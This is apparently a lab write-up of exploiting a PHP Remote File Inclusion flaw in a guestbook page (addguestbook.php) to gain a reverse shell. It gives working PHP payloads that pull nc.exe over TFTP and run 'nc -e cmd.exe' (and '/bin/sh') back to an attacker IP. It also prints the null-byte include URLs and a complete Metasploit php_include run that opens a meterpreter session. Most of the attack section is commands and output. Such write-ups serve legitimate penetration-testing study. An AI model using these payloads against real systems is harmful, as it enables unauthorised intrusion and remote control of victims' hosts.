Remote File Inclusion (RFI) is a web application vulnerability attackers exploit to run malicious code. Depending on the web server configuration, an attacker may tell the web app to include code from a file hosted on a remote server. In this post, I’ll describe how to exploit RFI to get a reverse shell on the target using two methods. The first will only use tools already on the victim, while the second will use the more feature-rich metasploit method.
The Vulnerability
This application has already been found to have a vulnerability in one of the parameters sent by addguestbook.php. This post won’t cover detecting the RFI vulnerability.
The request I will be tampering with to exploit this RFI vulnerability looks like this:
/addguestbook.php?name=hacker&comment=pwned&LANG=en&Submit=Submit
Using Default Tools
Before I know what I have to work with, I must find out what OS my target is running. The first method I’ll use to do this will be to run nmap and specify host fingerprint detection:
$ nmap -O 192.168.1.144
Starting Nmap 6.40 ( http://nmap.org ) at 2014-01-10 10:41 EST
Nmap scan report for 192.168.1.144
Host is up (0.037s latency).
Not shown: 995 closed ports
PORT STATE SERVICE
80/tcp open http
135/tcp open msrpc
445/tcp open microsoft-ds
3306/tcp open mysql
3389/tcp open ms-wbt-server
MAC Address: 00:50:56:AF:1D:C4 (VMware)
No exact OS matches for host (If you know what OS is running on it, see http://nmap.org/submit/ ).
Not a definitive answer, so I must trust, but verify. I’ll turn to the wappalyzer plugin for firefox. Wappalyzer has been accurate, in my experience. In either case, I’ll have to verify when I move on to the exploit phase of this exercise what the host is running.
Running Wappalyzer in my browser when I navigate to the target’s page, I see that it’s running Windows, indicated by the icon in my toolbar:
Without knowing what tools the target will have, I’ve at least narrowed it down to a handful, including ftp, tftp, telnet, and debug.exe.
I can think of a convoluted method using FTP, but that would take a while and may end up being imprecise. The same with telnet. Besides, telnet has been deprecated for quite some time, so I try to avoid it wherever possible. Debug.exe may provide a solution that would be even more convoluted than the FTP method, so I’ll stick with TFTP for this exercise.
My goal is to transfer nc.exe to the victim’s host and use it to open a reverse shell to my attacking host.
Setting up TFTP
The first step in this process is to set up the TFTP daemon and share nc. Since I don’t already have a shell on the target, I won’t know whether my commands will be successful, so I want to be as sure as I can that I won’t run into any “gotchas” – like improper file permissions. This means I need to be sure that the location I share using TFTPD is readable by anybody, and that the nc.exe file I share out will be readable and executable by anybody.
On my attacking host, I complete these steps via:
$ chmod +rx /usr/share/windows-binaries/nc.exe
$ cp /usr/share/windows-binaries/nc.exe /tmp/nc.exe
$ atftpd --daemon --port 69 /tmp/
I’m now sharing my /tmp directory, which contains my readable/executable nc.exe and is itself world-readable.
Exploit the Vulnerability
Now that I’ve got my payload ready, it’s time to exploit the RFI vulnerability on the victim. My Wappalyzer extension informed me that the host is running php, so my exploit will be written in php. I will do this by creating the files I want the victim to remotely include in my /var/www folder. Note I said files as this exploit will be carried out in two steps:
- Upload nc.exe to the victim, and
- Instruct the victim to execute nc.exe and connect back to my listener.
The first step will be carried out by the following php code:
#!php
< ?php
echo shell_exec("tftp -i 192.168.14.120 GET nc.exe");
?>
I’ll store this in a file called evil.txt in /var/www. This is saved as a text file because I don’t want myweb server to interpret it as a php file; I want to be sure it’s served as text content.
The second step of this exploit will involve invoking nc.exe on the host, and having it call back to my listener, establishing a reverse shell. Here’s what evil2.txt looks like:
#!php
< ?php
echo shell_exec("nc.exe -nvv 192.168.14.120 4444 -e cmd.exe")
?>
On a Linux host, it would look similar to:
#!php
< ?php
echo shell_exec("nc -nvv 192.168.14.120 4444 -e /bin/sh")
?>
Satisfied with these, I begin my webserver:
$ service apache2 start
[....] Starting web server: apache2
..
Enable My Listener
This crucial step involves invoking nc on my attacking box to listen for the reverse shell I will request:
$ nc -lvp 4444
listening on [any] 4444 ...
Exploit!
With everything in place, I make the first of my two requests to the web server:
/addguestbook.php?name=hacker&comment=pwned&LANG=http://192.168.14.120/evil.txt%00&Submit=Submit
Notice the . This is a null byte in URL-encoded format. This will instruct the web app to cease parsing or executing commands once it’s included the text (php code) in evil.txt. After waiting a few moments, I see the web app return the following information:
Transfer successful: 59392 bytes in 5 seconds, 11878 bytes/s
Excellent! This means that nc.exe has been uploaded to the victim. Now, to invoke my reverse shell, I make the following request:
/addguestbook.php?name=hacker&comment=pwned&LANG=http://192.168.14.120/evil2.txt%00&Submit=Submit
Again, using the URL-encoded null byte to ensure that application execution stops after evil2.txt has been parsed. If all went according to plan, I should see some activity from my listener:
listening on [any] 4444 ...
192.168.1.144: inverse host lookup failed: Unknown server error : Connection timed out
connect to [192.168.14.120] from (UNKNOWN) [192.168.1.144] 1144
Success!
Using Metasploit
Metasploit is awesome, and if there’s a chance to use it, I’ll take it. Here’s how the vulnerable application can be exploited using the Metasploit framework:
Search for a Module
I’m not sure what the best module to use for this exploit would be, so I do a search for “php_include”:
msf> search php_include
Matching Modules
================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
exploit/unix/webapp/php_include 2006-12-17 00:00:00 UTC normal PHP Remote File Include Generic Code Execution
This looks like it will fit the bill. I’ll load it up and see what my options are:
msf> use exploit/unix/webapp/php_include
msf exploit(php_include) > show options
Module options (exploit/unix/webapp/php_include):
Name Current Setting Required Description
---- --------------- -------- -----------
HEADERS no Any additional HTTP headers to send, cookies for example. Format: "header:value,header2:value2"
PATH / yes The base directory to prepend to the URL to try
PHPRFIDB /opt/metasploit/apps/pro/msf3/data/exploits/php/rfi-locations.dat no A local file containing a list of URLs to try, with XXpathXX replacing the URL
PHPURI no The URI to request, with the include parameter changed to XXpathXX
POSTDATA no The POST data to send, with the include parameter changed to XXpathXX
Proxies no Use a proxy chain
RHOST yes The target address
RPORT 80 yes The target port
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT 8080 yes The local port to listen on.
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Exploit target:
Id Name
-- ----
0 Automatic
Good deal, this looks pretty straightforward. I will need to specify the PATH, PHPURI, RHOST, RPORT, SRVHOST, and SRVPORT for this to be effective. The RHOST and RPORT bits are easy, they’re the remote host and default HTTP port. SRVHOST will by my attacking IP, and SRVPORT must be a port not already bound on my IP.
The PATH for this exploit will be /, as there is no path to the web application, it is hosted at the web root. PHPURI is the URI to request, with the vulnerable parameter changed to XXpathXX, so this will be
addguestbook.php?name=hacker&comment=pwned&LANG=XXpathXX
Exploit with MSF
I’ll set these values and then run the exploit to obtain a php meterpreter shell:
msf exploit(php_include) > set PATH /
PATH => /
msf exploit(php_include) > set PHPURI /addguestbook.php?name=hacker&comment=pwned&LANG=XXpathXX
PHPURI => /addguestbook.php?name=hacker&comment=pwned&LANG=XXpathXX
msf exploit(php_include) > set RHOST 192.168.1.144
RHOST => 192.168.1.144
As always, I need to set the PAYLOAD and the PAYLOAD options. Fortunately, MSF has a php meterpreter payload:
msf exploit(php_include) > set PAYLOAD php/meterpreter[tab]
set PAYLOAD php/meterpreter/bind_tcp set PAYLOAD php/meterpreter/reverse_tcp
set PAYLOAD php/meterpreter/bind_tcp_ipv6 set PAYLOAD php/meterpreter_reverse_tcp
msf exploit(php_include) > set PAYLOAD php/meterpreter/reverse_tcp
PAYLOAD => php/meterpreter/reverse_tcp
msf exploit(php_include) > show options
Module options (exploit/unix/webapp/php_include):
Name Current Setting Required Description
---- --------------- -------- -----------
HEADERS no Any additional HTTP headers to send, cookies for example. Format: "header:value,header2:value2"
PATH / yes The base directory to prepend to the URL to try
PHPRFIDB /opt/metasploit/apps/pro/msf3/data/exploits/php/rfi-locations.dat no A local file containing a list of URLs to try, with XXpathXX replacing the URL
PHPURI /addguestbook.php?name=hacker&comment=pwned&LANG=XXpathXX no The URI to request, with the include parameter changed to XXpathXX
POSTDATA no The POST data to send, with the include parameter changed to XXpathXX
Proxies no Use a proxy chain
RHOST 192.168.1.144 yes The target address
RPORT 80 yes The target port
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT 8080 yes The local port to listen on.
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address
LPORT 4444 yes The listen port
Exploit target:
Id Name
* * *
0 Automatic
msf exploit(php_include) > set LHOST 192.168.14.120
LHOST => 192.168.14.120
msf exploit(php_include) > set LPORT 7777
LPORT => 7777
msf exploit(php_include) > exploit -j -z
[*] Exploit running as background job.
[*] Started reverse handler on 192.168.14.120:7777
msf exploit(php_include) >
[*] Using URL: http://0.0.0.0:8080/NKLGe9SyP
[*] Local IP: http://192.168.14.120:8080/NKLGe9SyP
[*] PHP include server started.
[*] Sending stage (39848 bytes) to 192.168.1.144
[*] Meterpreter session 1 opened (192.168.14.120:7777 -> 192.168.1.144:1110) at 2014-01-09 20:27:58 -0500
msf exploit(php_include) > sessions
# Active sessions
Id Type Information Connection
-- ---- ----------- ----------
1 meterpreter php/php offsec (0) @ XPCLIENT 192.168.14.120:7777 -> 192.168.1.144:1110 (192.168.1.144)
msf exploit(php_include) > sessions -i 1
[*] Starting interaction with 1...
meterpreter >
Et Voila!